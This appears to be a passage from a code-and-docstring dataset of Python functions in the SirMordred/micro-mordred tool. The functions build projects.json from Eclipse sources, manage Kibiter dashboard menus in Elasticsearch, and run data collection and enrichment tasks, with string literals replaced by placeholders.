self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>if not self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>all_tasks_cls.append(TaskRawDataCollection)<EOL><DEDENT>else:<EOL><INDENT>all_tasks_cls.append(TaskRawDataArthurCollection)<EOL><DEDENT><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>all_tasks_cls.append(TaskIdentitiesLoad)<EOL>all_tasks_cls.append(TaskIdentitiesMerge)<EOL>all_tasks_cls.append(TaskIdentitiesExport)<EOL><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>all_tasks_cls.append(TaskEnrich)<EOL><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>all_tasks_cls.append(TaskTrackItems)<EOL><DEDENT>if self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>all_tasks_cls.append(TaskReport)<EOL><DEDENT>while True:<EOL><INDENT>if not all_tasks_cls:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL>break<EOL><DEDENT>try:<EOL><INDENT>if not self.conf['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>self.execute_batch_tasks(all_tasks_cls,<EOL>self.conf['<STR_LIT>']['<STR_LIT>'],<EOL>self.conf['<STR_LIT>']['<STR_LIT>'])<EOL>self.execute_batch_tasks(all_tasks_cls,<EOL>self.conf['<STR_LIT>']['<STR_LIT>'],<EOL>self.conf['<STR_LIT>']['<STR_LIT>'])<EOL>break<EOL><DEDENT>else:<EOL><INDENT>self.execute_nonstop_tasks(all_tasks_cls)<EOL><DEDENT><DEDENT>except DataCollectionError as e:<EOL><INDENT>logger.error(str(e))<EOL>var = traceback.format_exc()<EOL>logger.error(var)<EOL><DEDENT>except DataEnrichmentError as e:<EOL><INDENT>logger.error(str(e))<EOL>var = traceback.format_exc()<EOL>logger.error(var)<EOL><DEDENT><DEDENT>logger.info(\"<STR_LIT>\")<EOL>", "docstring": "This method defines the workflow of SirMordred. So it calls to:\n- initialize the databases\n- execute the different phases for the first iteration\n  (collection, identities, enrichment)\n- start the collection and enrichment in parallel by data source\n- start also the Sorting Hat merge", "id": "f9690:c0:m11"}
{"signature": "def compose_mbox(projects):", "body": "mbox_archives = '<STR_LIT>'<EOL>mailing_lists_projects = [project for project in projects if '<STR_LIT>' in projects[project]]<EOL>for mailing_lists in mailing_lists_projects:<EOL><INDENT>projects[mailing_lists]['<STR_LIT>'] = []<EOL>for mailing_list in projects[mailing_lists]['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT>' in mailing_list:<EOL><INDENT>name = mailing_list.split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>elif '<STR_LIT>' in mailing_list:<EOL><INDENT>name = mailing_list.split('<STR_LIT>')[<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>name = mailing_list.split('<STR_LIT:@>')[<NUM_LIT:0>]<EOL><DEDENT>list_new = \"<STR_LIT>\" % (name, mbox_archives, name, name)<EOL>projects[mailing_lists]['<STR_LIT>'].append(list_new)<EOL><DEDENT><DEDENT>return projects<EOL>", "docstring": "Compose projects.json only for mbox, but using the mailing_lists lists\n\n    change: 'https://dev.eclipse.org/mailman/listinfo/emft-dev'\n    to: 'emfg-dev /home/bitergia/mboxes/emft-dev.mbox/emft-dev.mbox\n\n    :param projects: projects.json\n    :return: projects.json with mbox", "id": "f9692:m0"}
{"signature": "def compose_gerrit(projects):", "body": "git_projects = [project for project in projects if '<STR_LIT>' in projects[project]]<EOL>for project in git_projects:<EOL><INDENT>repos = [repo for repo in projects[project]['<STR_LIT>'] if '<STR_LIT>' in repo]<EOL>if len(repos) > <NUM_LIT:0>:<EOL><INDENT>projects[project]['<STR_LIT>'] = []<EOL><DEDENT>for repo in repos:<EOL><INDENT>gerrit_project = repo.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>gerrit_project = gerrit_project.replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>projects[project]['<STR_LIT>'].append(\"<STR_LIT>\" + gerrit_project)<EOL><DEDENT><DEDENT>return projects<EOL>", "docstring": "Compose projects.json for gerrit, but using the git lists\n\n    change: 'http://git.eclipse.org/gitroot/xwt/org.eclipse.xwt.git'\n    to: 'git.eclipse.org_xwt/org.eclipse.xwt\n\n    :param projects: projects.json\n    :return: projects.json with gerrit", "id": "f9692:m1"}
{"signature": "def compose_git(projects, data):", "body": "for p in [project for project in data if len(data[project]['<STR_LIT>']) > <NUM_LIT:0>]:<EOL><INDENT>repos = []<EOL>for url in data[p]['<STR_LIT>']:<EOL><INDENT>if len(url['<STR_LIT:url>'].split()) > <NUM_LIT:1>:  <EOL><INDENT>repo = url['<STR_LIT:url>'].split()[<NUM_LIT:1>].replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>repo = url['<STR_LIT:url>'].replace('<STR_LIT>', '<STR_LIT>')<EOL><DEDENT>if repo not in repos:<EOL><INDENT>repos.append(repo)<EOL><DEDENT><DEDENT>projects[p]['<STR_LIT>'] = repos<EOL><DEDENT>return projects<EOL>", "docstring": "Compose projects.json for git\n\n    We need to replace '/c/' by '/gitroot/' for instance\n\n    change: 'http://git.eclipse.org/c/xwt/org.eclipse.xwt.git'\n    to: 'http://git.eclipse.org/gitroot/xwt/org.eclipse.xwt.git'\n\n    :param projects: projects.json\n    :param data: eclipse JSON\n    :return: projects.json with git", "id": "f9692:m2"}
{"signature": "def compose_mailing_lists(projects, data):", "body": "for p in [project for project in data if len(data[project]['<STR_LIT>']) > <NUM_LIT:0>]:<EOL><INDENT>if '<STR_LIT>' not in projects[p]:<EOL><INDENT>projects[p]['<STR_LIT>'] = []<EOL><DEDENT>urls = [url['<STR_LIT:url>'].replace('<STR_LIT>', '<STR_LIT>') for url in data[p]['<STR_LIT>'] if<EOL>url['<STR_LIT:url>'] not in projects[p]['<STR_LIT>']]<EOL>projects[p]['<STR_LIT>'] += urls<EOL><DEDENT>for p in [project for project in data if len(data[project]['<STR_LIT>']) > <NUM_LIT:0>]:<EOL><INDENT>if '<STR_LIT>' not in projects[p]:<EOL><INDENT>projects[p]['<STR_LIT>'] = []<EOL><DEDENT>mailing_list = data[p]['<STR_LIT>']['<STR_LIT:url>'].replace('<STR_LIT>', '<STR_LIT>')<EOL>projects[p]['<STR_LIT>'].append(mailing_list)<EOL><DEDENT>return projects<EOL>", "docstring": "Compose projects.json for mailing lists\n\n    At upstream has two different key for mailing list: 'mailings_lists' and 'dev_list'\n    The key 'mailing_lists' is an array with mailing lists\n    The key 'dev_list' is a dict with only one mailing list\n\n    :param projects: projects.json\n    :param data: eclipse JSON\n    :return: projects.json with mailing_lists", "id": "f9692:m3"}
{"signature": "def compose_github(projects, data):", "body": "for p in [project for project in data if len(data[project]['<STR_LIT>']) > <NUM_LIT:0>]:<EOL><INDENT>if '<STR_LIT>' not in projects[p]:<EOL><INDENT>projects[p]['<STR_LIT>'] = []<EOL><DEDENT>urls = [url['<STR_LIT:url>'] for url in data[p]['<STR_LIT>'] if<EOL>url['<STR_LIT:url>'] not in projects[p]['<STR_LIT>']]<EOL>projects[p]['<STR_LIT>'] += urls<EOL><DEDENT>return projects<EOL>", "docstring": "Compose projects.json for github\n\n    :param projects: projects.json\n    :param data: eclipse JSON\n    :return: projects.json with github", "id": "f9692:m4"}
{"signature": "def compose_bugzilla(projects, data):", "body": "for p in [project for project in data if len(data[project]['<STR_LIT>']) > <NUM_LIT:0>]:<EOL><INDENT>if '<STR_LIT>' not in projects[p]:<EOL><INDENT>projects[p]['<STR_LIT>'] = []<EOL><DEDENT>urls = [url['<STR_LIT>'] for url in data[p]['<STR_LIT>'] if<EOL>url['<STR_LIT>'] not in projects[p]['<STR_LIT>']]<EOL>projects[p]['<STR_LIT>'] += urls<EOL><DEDENT>return projects<EOL>", "docstring": "Compose projects.json for bugzilla\n\n    :param projects: projects.json\n    :param data: eclipse JSON\n    :return: projects.json with bugzilla", "id": "f9692:m5"}
{"signature": "def compose_title(projects, data):", "body": "for project in data:<EOL><INDENT>projects[project] = {<EOL>'<STR_LIT>': {<EOL>'<STR_LIT:title>': data[project]['<STR_LIT:title>']<EOL>}<EOL>}<EOL><DEDENT>return projects<EOL>", "docstring": "Compose the projects JSON file only with the projects name\n\n    :param projects: projects.json\n    :param data: eclipse JSON with the origin format\n    :return: projects.json with titles", "id": "f9692:m6"}
{"signature": "def compose_projects_json(projects, data):", "body": "projects = compose_git(projects, data)<EOL>projects = compose_mailing_lists(projects, data)<EOL>projects = compose_bugzilla(projects, data)<EOL>projects = compose_github(projects, data)<EOL>projects = compose_gerrit(projects)<EOL>projects = compose_mbox(projects)<EOL>return projects<EOL>", "docstring": "Compose projects.json with all data sources\n\n    :param projects: projects.json\n    :param data: eclipse JSON\n    :return: projects.json with all data sources", "id": "f9692:m7"}
{"signature": "@classmethod<EOL><INDENT>def get_repos_by_backend_section(cls, backend_section, raw=True):<DEDENT>", "body": "repos = []<EOL>projects = TaskProjects.get_projects()<EOL>for pro in projects:<EOL><INDENT>if backend_section in projects[pro]:<EOL><INDENT>if cls.GLOBAL_PROJECT not in projects:<EOL><INDENT>repos += projects[pro][backend_section]<EOL><DEDENT>else:<EOL><INDENT>if raw:<EOL><INDENT>if pro != cls.GLOBAL_PROJECT:<EOL><INDENT>if backend_section not in projects[cls.GLOBAL_PROJECT]:<EOL><INDENT>repos += projects[pro][backend_section]<EOL><DEDENT>elif backend_section in projects[pro] and backend_section in projects[cls.GLOBAL_PROJECT]:<EOL><INDENT>repos += projects[cls.GLOBAL_PROJECT][backend_section]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>not_in_unknown = [projects[pro] for pro in projects if pro != cls.GLOBAL_PROJECT][<NUM_LIT:0>]<EOL>if backend_section not in not_in_unknown:<EOL><INDENT>repos += projects[cls.GLOBAL_PROJECT][backend_section]<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>if pro != cls.GLOBAL_PROJECT:<EOL><INDENT>if backend_section not in projects[cls.GLOBAL_PROJECT]:<EOL><INDENT>repos += projects[pro][backend_section]<EOL><DEDENT>elif backend_section in projects[pro] and backend_section in projects[cls.GLOBAL_PROJECT]:<EOL><INDENT>repos += projects[pro][backend_section]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>not_in_unknown_prj = [projects[prj] for prj in projects if prj != cls.GLOBAL_PROJECT]<EOL>not_in_unknown_sections = list(set([section for prj in not_in_unknown_prj<EOL>for section in list(prj.keys())]))<EOL>if backend_section not in not_in_unknown_sections:<EOL><INDENT>repos += projects[pro][backend_section]<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\", backend_section, repos, raw)<EOL>repos = list(set(repos))<EOL>return repos<EOL>", "docstring": "return list with the repositories for a backend_section", "id": "f9693:c0:m4"}
{"signature": "def convert_from_eclipse(self, eclipse_projects):", "body": "projects = {}<EOL>projects['<STR_LIT>'] = {<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": [\"<STR_LIT>\"]<EOL>}<EOL>projects = compose_title(projects, eclipse_projects)<EOL>projects = compose_projects_json(projects, eclipse_projects)<EOL>return projects<EOL>", "docstring": "Convert from eclipse projects format to grimoire projects json format", "id": "f9693:c0:m8"}
{"signature": "def __init__(self, tasks_cls, backend_section, stopper, config, timer=<NUM_LIT:0>):", "body": "super().__init__(name=backend_section)  <EOL>self.config = config<EOL>self.tasks_cls = tasks_cls  <EOL>self.tasks = []  <EOL>self.backend_section = backend_section<EOL>self.stopper = stopper  <EOL>self.timer = timer<EOL>self.thread_id = None<EOL>", "docstring": ":tasks_cls : tasks classes to be executed using the backend\n:backend_section: perceval backend section name\n:config: config object for the manager", "id": "f9695:c0:m0"}
{"signature": "def __kibiter_version(self):", "body": "version = None<EOL>es_url = self.conf['<STR_LIT>']['<STR_LIT:url>']<EOL>config_url = '<STR_LIT>'<EOL>url = urijoin(es_url, config_url)<EOL>version = None<EOL>try:<EOL><INDENT>res = self.grimoire_con.get(url)<EOL>res.raise_for_status()<EOL>version = res.json()['<STR_LIT>']['<STR_LIT>'][<NUM_LIT:0>]['<STR_LIT>']<EOL>logger.debug(\"<STR_LIT>\", version)<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT>return version<EOL>", "docstring": "Get the kibiter vesion.\n\n        :param major: major Elasticsearch version", "id": "f9696:c0:m2"}
{"signature": "def create_dashboard(self, panel_file, data_sources=None, strict=True):", "body": "es_enrich = self.conf['<STR_LIT>']['<STR_LIT:url>']<EOL>kibana_url = self.conf['<STR_LIT>']['<STR_LIT>']<EOL>mboxes_sources = set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'])<EOL>if data_sources and any(x in data_sources for x in mboxes_sources):<EOL><INDENT>data_sources = list(data_sources)<EOL>data_sources.append('<STR_LIT>')<EOL><DEDENT>if data_sources and ('<STR_LIT>' in data_sources):<EOL><INDENT>data_sources = list(data_sources)<EOL>data_sources.append('<STR_LIT>')<EOL><DEDENT>if data_sources and '<STR_LIT>' in data_sources:<EOL><INDENT>data_sources = list(data_sources)<EOL>data_sources.append('<STR_LIT>')<EOL><DEDENT>if data_sources and '<STR_LIT>' in data_sources:<EOL><INDENT>data_sources = list(data_sources)<EOL>data_sources.append('<STR_LIT>')<EOL><DEDENT>if data_sources and '<STR_LIT>' in data_sources:<EOL><INDENT>data_sources = list(data_sources)<EOL>data_sources.append('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>import_dashboard(es_enrich, kibana_url, panel_file, data_sources=data_sources, strict=strict)<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.error(\"<STR_LIT>\", panel_file)<EOL><DEDENT>except RuntimeError:<EOL><INDENT>logger.error(\"<STR_LIT>\", panel_file)<EOL><DEDENT>", "docstring": "Upload a panel to Elasticsearch if it does not exist yet.\n\n        If a list of data sources is specified, upload only those\n        elements (visualizations, searches) that match that data source.\n\n        :param panel_file: file name of panel (dashobard) to upload\n        :param data_sources: list of data sources\n        :param strict: only upload a dashboard if it is newer than the one already existing", "id": "f9696:c0:m6"}
{"signature": "def __upload_title(self, kibiter_major):", "body": "if kibiter_major == \"<STR_LIT>\":<EOL><INDENT>resource = \"<STR_LIT>\"<EOL>data = {\"<STR_LIT>\": {\"<STR_LIT:name>\": self.project_name}}<EOL>mapping_resource = \"<STR_LIT>\"<EOL>mapping = {\"<STR_LIT>\": \"<STR_LIT:true>\"}<EOL>url = urijoin(self.conf['<STR_LIT>']['<STR_LIT:url>'], resource)<EOL>mapping_url = urijoin(self.conf['<STR_LIT>']['<STR_LIT:url>'],<EOL>mapping_resource)<EOL>logger.debug(\"<STR_LIT>\")<EOL>res = self.grimoire_con.put(mapping_url, data=json.dumps(mapping),<EOL>headers=ES6_HEADER)<EOL>try:<EOL><INDENT>res.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>logger.error(res.json())<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>res = self.grimoire_con.post(url, data=json.dumps(data),<EOL>headers=ES6_HEADER)<EOL>try:<EOL><INDENT>res.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>logger.error(res.json())<EOL><DEDENT><DEDENT>", "docstring": "Upload to Kibiter the title for the dashboard.\n\n        The title is shown on top of the dashboard menu, and is Usually\n        the name of the project being dashboarded.\n        This is done only for Kibiter 6.x.\n\n        :param kibiter_major: major version of kibiter", "id": "f9696:c1:m3"}
{"signature": "def __create_dashboard_menu(self, dash_menu, kibiter_major):", "body": "logger.info(\"<STR_LIT>\")<EOL>if kibiter_major == \"<STR_LIT>\":<EOL><INDENT>menu_resource = \"<STR_LIT>\"<EOL>mapping_resource = \"<STR_LIT>\"<EOL>mapping = {\"<STR_LIT>\": \"<STR_LIT:true>\"}<EOL>menu = {'<STR_LIT>': dash_menu}<EOL><DEDENT>else:<EOL><INDENT>menu_resource = \"<STR_LIT>\"<EOL>mapping_resource = \"<STR_LIT>\"<EOL>mapping = {\"<STR_LIT>\": \"<STR_LIT:true>\"}<EOL>menu = dash_menu<EOL><DEDENT>menu_url = urijoin(self.conf['<STR_LIT>']['<STR_LIT:url>'],<EOL>menu_resource)<EOL>mapping_url = urijoin(self.conf['<STR_LIT>']['<STR_LIT:url>'],<EOL>mapping_resource)<EOL>logger.debug(\"<STR_LIT>\")<EOL>res = self.grimoire_con.put(mapping_url, data=json.dumps(mapping),<EOL>headers=ES6_HEADER)<EOL>try:<EOL><INDENT>res.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL><DEDENT>res = self.grimoire_con.post(menu_url, data=json.dumps(menu),<EOL>headers=ES6_HEADER)<EOL>try:<EOL><INDENT>res.raise_for_status()<EOL><DEDENT>except requests.exceptions.HTTPError:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>logger.error(res.json())<EOL>raise<EOL><DEDENT>", "docstring": "Create the menu definition to access the panels in a dashboard.\n\n        :param          menu: dashboard menu to upload\n        :param kibiter_major: major version of kibiter", "id": "f9696:c1:m4"}
{"signature": "def __remove_dashboard_menu(self, kibiter_major):", "body": "logger.info(\"<STR_LIT>\")<EOL>if kibiter_major == \"<STR_LIT>\":<EOL><INDENT>metadashboard = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>metadashboard = \"<STR_LIT>\"<EOL><DEDENT>menu_url = urijoin(self.conf['<STR_LIT>']['<STR_LIT:url>'], metadashboard)<EOL>self.grimoire_con.delete(menu_url)<EOL>", "docstring": "Remove existing menu for dashboard, if any.\n\n        Usually, we remove the menu before creating a new one.\n\n        :param kibiter_major: major version of kibiter", "id": "f9696:c1:m5"}
{"signature": "def __get_menu_entries(self, kibiter_major):", "body": "menu_entries = []<EOL>for entry in self.panels_menu:<EOL><INDENT>if entry['<STR_LIT:source>'] not in self.data_sources:<EOL><INDENT>continue<EOL><DEDENT>parent_menu_item = {<EOL>'<STR_LIT:name>': entry['<STR_LIT:name>'],<EOL>'<STR_LIT:title>': entry['<STR_LIT:name>'],<EOL>'<STR_LIT:description>': \"<STR_LIT>\",<EOL>'<STR_LIT:type>': \"<STR_LIT>\",<EOL>'<STR_LIT>': []<EOL>}<EOL>for subentry in entry['<STR_LIT>']:<EOL><INDENT>try:<EOL><INDENT>dash_name = get_dashboard_name(subentry['<STR_LIT>'])<EOL><DEDENT>except FileNotFoundError:<EOL><INDENT>logging.error(\"<STR_LIT>\", subentry['<STR_LIT>'])<EOL>continue<EOL><DEDENT>child_item = {<EOL>\"<STR_LIT:name>\": subentry['<STR_LIT:name>'],<EOL>\"<STR_LIT:title>\": subentry['<STR_LIT:name>'],<EOL>\"<STR_LIT:description>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:type>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": dash_name<EOL>}<EOL>parent_menu_item['<STR_LIT>'].append(child_item)<EOL><DEDENT>menu_entries.append(parent_menu_item)<EOL><DEDENT>return menu_entries<EOL>", "docstring": "Get the menu entries from the panel definition", "id": "f9696:c1:m6"}
{"signature": "def __get_dash_menu(self, kibiter_major):", "body": "<EOL>omenu = []<EOL>omenu.append(self.menu_panels_common['<STR_LIT>'])<EOL>ds_menu = self.__get_menu_entries(kibiter_major)<EOL>kafka_menu = None<EOL>community_menu = None<EOL>found_kafka = [pos for pos, menu in enumerate(ds_menu) if menu['<STR_LIT:name>'] == KAFKA_NAME]<EOL>if found_kafka:<EOL><INDENT>kafka_menu = ds_menu.pop(found_kafka[<NUM_LIT:0>])<EOL><DEDENT>found_community = [pos for pos, menu in enumerate(ds_menu) if menu['<STR_LIT:name>'] == COMMUNITY_NAME]<EOL>if found_community:<EOL><INDENT>community_menu = ds_menu.pop(found_community[<NUM_LIT:0>])<EOL><DEDENT>ds_menu.sort(key=operator.itemgetter('<STR_LIT:name>'))<EOL>omenu += ds_menu<EOL>if kafka_menu:<EOL><INDENT>omenu.append(kafka_menu)<EOL><DEDENT>if community_menu:<EOL><INDENT>omenu.append(community_menu)<EOL><DEDENT>omenu.append(self.menu_panels_common['<STR_LIT>'])<EOL>omenu.append(self.menu_panels_common['<STR_LIT>'])<EOL>logger.debug(\"<STR_LIT>\", json.dumps(ds_menu, indent=<NUM_LIT:4>))<EOL>return omenu<EOL>", "docstring": "Order the dashboard menu", "id": "f9696:c1:m7"}
{"signature": "def __autorefresh_studies(self, cfg):", "body": "if '<STR_LIT>' not in self.conf[self.backend_section] or'<STR_LIT>' not in self.conf[self.backend_section]['<STR_LIT>']:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>aoc_index = self.conf['<STR_LIT>'].get('<STR_LIT>', GitEnrich.GIT_AOC_ENRICHED)<EOL>if not aoc_index:<EOL><INDENT>aoc_index = GitEnrich.GIT_AOC_ENRICHED<EOL><DEDENT>logger.debug(\"<STR_LIT>\", aoc_index)<EOL>es = Elasticsearch([self.conf['<STR_LIT>']['<STR_LIT:url>']], timeout=<NUM_LIT:100>,<EOL>verify_certs=self._get_enrich_backend().elastic.requests.verify)<EOL>if not es.indices.exists(index=aoc_index):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>logger.debug(\"<STR_LIT>\")<EOL>aoc_backend = GitEnrich(self.db_sh, None, cfg['<STR_LIT>']['<STR_LIT>'],<EOL>self.db_user, self.db_password, self.db_host)<EOL>aoc_backend.mapping = None<EOL>aoc_backend.roles = ['<STR_LIT>']<EOL>elastic_enrich = get_elastic(self.conf['<STR_LIT>']['<STR_LIT:url>'],<EOL>aoc_index, clean=False, backend=aoc_backend)<EOL>aoc_backend.set_elastic(elastic_enrich)<EOL>self.__autorefresh(aoc_backend, studies=True)<EOL>", "docstring": "Execute autorefresh for areas of code study if configured", "id": "f9700:c0:m6"}
{"signature": "def __studies(self, retention_time):", "body": "cfg = self.config.get_conf()<EOL>if '<STR_LIT>' not in cfg[self.backend_section] or notcfg[self.backend_section]['<STR_LIT>']:<EOL><INDENT>logger.debug('<STR_LIT>' % self.backend_section)<EOL>return<EOL><DEDENT>studies = [study for study in cfg[self.backend_section]['<STR_LIT>'] if study.strip() != \"<STR_LIT>\"]<EOL>if not studies:<EOL><INDENT>logger.debug('<STR_LIT>' % self.backend_section)<EOL>return<EOL><DEDENT>logger.debug(\"<STR_LIT>\" % (self.backend_section, studies))<EOL>time.sleep(<NUM_LIT:2>)  <EOL>enrich_backend = self._get_enrich_backend()<EOL>ocean_backend = self._get_ocean_backend(enrich_backend)<EOL>active_studies = []<EOL>all_studies = enrich_backend.studies<EOL>all_studies_names = [study.__name__ for study in enrich_backend.studies]<EOL>logger.debug(\"<STR_LIT>\", self.backend_section, all_studies_names)<EOL>logger.debug(\"<STR_LIT>\", studies)<EOL>cfg_studies_types = [study.split(\"<STR_LIT::>\")[<NUM_LIT:0>] for study in studies]<EOL>if not set(cfg_studies_types).issubset(set(all_studies_names)):<EOL><INDENT>logger.error('<STR_LIT>', self.backend_section, studies)<EOL>raise RuntimeError('<STR_LIT>', self.backend_section, studies)<EOL><DEDENT>for study in enrich_backend.studies:<EOL><INDENT>if study.__name__ in cfg_studies_types:<EOL><INDENT>active_studies.append(study)<EOL><DEDENT><DEDENT>enrich_backend.studies = active_studies<EOL>print(\"<STR_LIT>\" % (self.backend_section,<EOL>[study for study in studies]))<EOL>studies_args = self.__load_studies()<EOL>do_studies(ocean_backend, enrich_backend, studies_args, retention_time=retention_time)<EOL>enrich_backend.studies = all_studies<EOL>", "docstring": "Execute the studies configured for the current backend", "id": "f9700:c0:m7"}
{"signature": "def retain_identities(self, retention_time):", "body": "enrich_es = self.conf['<STR_LIT>']['<STR_LIT:url>']<EOL>sortinghat_db = self.db<EOL>current_data_source = self.get_backend(self.backend_section)<EOL>active_data_sources = self.config.get_active_data_sources()<EOL>if retention_time is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>if retention_time <= <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return<EOL><DEDENT>retain_identities(retention_time, enrich_es, sortinghat_db, current_data_source, active_data_sources)<EOL>", "docstring": "Retain the identities in SortingHat based on the `retention_time`\n        value declared in the setup.cfg.\n\n        :param retention_time: maximum number of minutes wrt the current date to retain the SortingHat data", "id": "f9700:c0:m8"}
{"signature": "def micro_mordred(cfg_path, backend_sections, raw, arthur, identities, enrich, panels):", "body": "config = Config(cfg_path)<EOL>if raw:<EOL><INDENT>for backend in backend_sections:<EOL><INDENT>get_raw(config, backend, arthur)<EOL><DEDENT><DEDENT>if identities:<EOL><INDENT>get_identities(config)<EOL><DEDENT>if enrich:<EOL><INDENT>for backend in backend_sections:<EOL><INDENT>get_enrich(config, backend)<EOL><DEDENT><DEDENT>if panels:<EOL><INDENT>get_panels(config)<EOL><DEDENT>", "docstring": "Execute the raw and/or the enrich phases of a given backend section defined in a Mordred configuration file.\n\n    :param cfg_path: the path of a Mordred configuration file\n    :param backend_sections: the backend sections where the raw and/or enrich phases will be executed\n    :param raw: if true, it activates the collection of raw data\n    :param arthur: if true, it enables Arthur to collect the raw data\n    :param identities: if true, it activates the identities merge in SortingHat\n    :param enrich: if true, it activates the collection of enrich data\n    :param panels: if true, it activates the upload of panels", "id": "f9702:m0"}
{"signature": "def get_raw(config, backend_section, arthur):", "body": "if arthur:<EOL><INDENT>task = TaskRawDataArthurCollection(config, backend_section=backend_section)<EOL><DEDENT>else:<EOL><INDENT>task = TaskRawDataCollection(config, backend_section=backend_section)<EOL><DEDENT>TaskProjects(config).execute()<EOL>try:<EOL><INDENT>task.execute()<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.error(str(e))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Execute the raw phase for a given backend section, optionally using Arthur\n\n    :param config: a Mordred config object\n    :param backend_section: the backend section where the raw phase is executed\n    :param arthur: if true, it enables Arthur to collect the raw data", "id": "f9702:m1"}
{"signature": "def get_identities(config):", "body": "TaskProjects(config).execute()<EOL>task = TaskIdentitiesMerge(config)<EOL>task.execute()<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Execute the merge identities phase\n\n    :param config: a Mordred config object", "id": "f9702:m2"}
{"signature": "def get_enrich(config, backend_section):", "body": "TaskProjects(config).execute()<EOL>task = TaskEnrich(config, backend_section=backend_section)<EOL>try:<EOL><INDENT>task.execute()<EOL>logging.info(\"<STR_LIT>\")<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.error(str(e))<EOL>sys.exit(-<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Execute the enrich phase for a given backend section\n\n    :param config: a Mordred config object\n    :param backend_section: the backend section where the enrich phase is executed", "id": "f9702:m3"}
{"signature": "def get_panels(config):", "body": "task = TaskPanels(config)<EOL>task.execute()<EOL>task = TaskPanelsMenu(config)<EOL>task.execute()<EOL>logging.info(\"<STR_LIT>\")<EOL>", "docstring": "Execute the panels phase\n\n    :param config: a Mordred config object", "id": "f9702:m4"}
{"signature": "def config_logging(debug):", "body": "if debug:<EOL><INDENT>logging.basicConfig(level=logging.DEBUG, format='<STR_LIT>')<EOL>logging.debug(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>logging.basicConfig(level=logging.INFO, format='<STR_LIT>')<EOL><DEDENT>", "docstring": "Config logging level output output", "id": "f9702:m5"}
{"signature": "def get_params_parser():", "body": "parser = argparse.ArgumentParser(add_help=False)<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', dest='<STR_LIT>',<EOL>action='<STR_LIT:store_true>',<EOL>help=argparse.SUPPRESS)<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>', dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>', dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>', dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>', dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", action='<STR_LIT:store_true>', dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", dest='<STR_LIT>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument(\"<STR_LIT>\", dest='<STR_LIT>', default=[],<EOL>nargs='<STR_LIT:*>', help=\"<STR_LIT>\")<EOL>if len(sys.argv) == <NUM_LIT:1>:<EOL><INDENT>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return parser<EOL>", "docstring": "Parse command line arguments", "id": "f9702:m6"}
{"signature": "def get_params():", "body": "parser = get_params_parser()<EOL>args = parser.parse_args()<EOL>if not args.raw and not args.enrich and not args.identities and not args.panels:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>return args<EOL>", "docstring": "Get params to execute the micro-mordred", "id": "f9702:m7"}
